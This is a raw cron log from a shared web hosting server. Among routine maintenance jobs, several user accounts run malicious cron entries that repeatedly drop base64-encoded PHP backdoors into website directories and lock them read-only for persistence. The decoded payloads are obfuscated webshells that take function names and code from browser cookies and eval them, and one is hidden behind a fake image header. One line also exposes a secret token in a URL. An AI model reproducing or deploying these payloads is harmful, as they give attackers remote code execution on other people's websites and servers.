Jun  7 13:38:01 medusa CROND[15439]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:38:01 medusa CROND[15440]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:38:01 medusa CROND[15441]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:38:01 medusa CROND[15451]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:39:01 medusa CROND[17126]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 13:39:01 medusa CROND[17127]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 13:39:01 medusa CROND[17128]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:39:01 medusa CROND[17129]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 13:39:01 medusa CROND[17130]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:39:01 medusa CROND[17131]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:39:01 medusa CROND[17132]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:39:01 medusa CROND[17137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:39:01 medusa CROND[17139]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:39:01 medusa CROND[17140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:39:01 medusa CROND[17141]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:39:01 medusa CROND[17142]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:39:01 medusa CROND[17146]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:39:01 medusa CROND[17149]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:40:01 medusa CROND[18679]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 13:40:01 medusa CROND[18683]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 13:40:01 medusa CROND[18684]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:40:01 medusa CROND[18685]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:40:01 medusa CROND[18686]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 13:40:01 medusa CROND[18689]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:40:01 medusa CROND[18688]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 13:40:01 medusa CROND[18690]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 13:40:01 medusa CROND[18691]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 13:40:01 medusa CROND[18693]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:40:01 medusa CROND[18694]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:40:01 medusa CROND[18695]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:40:01 medusa CROND[18700]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
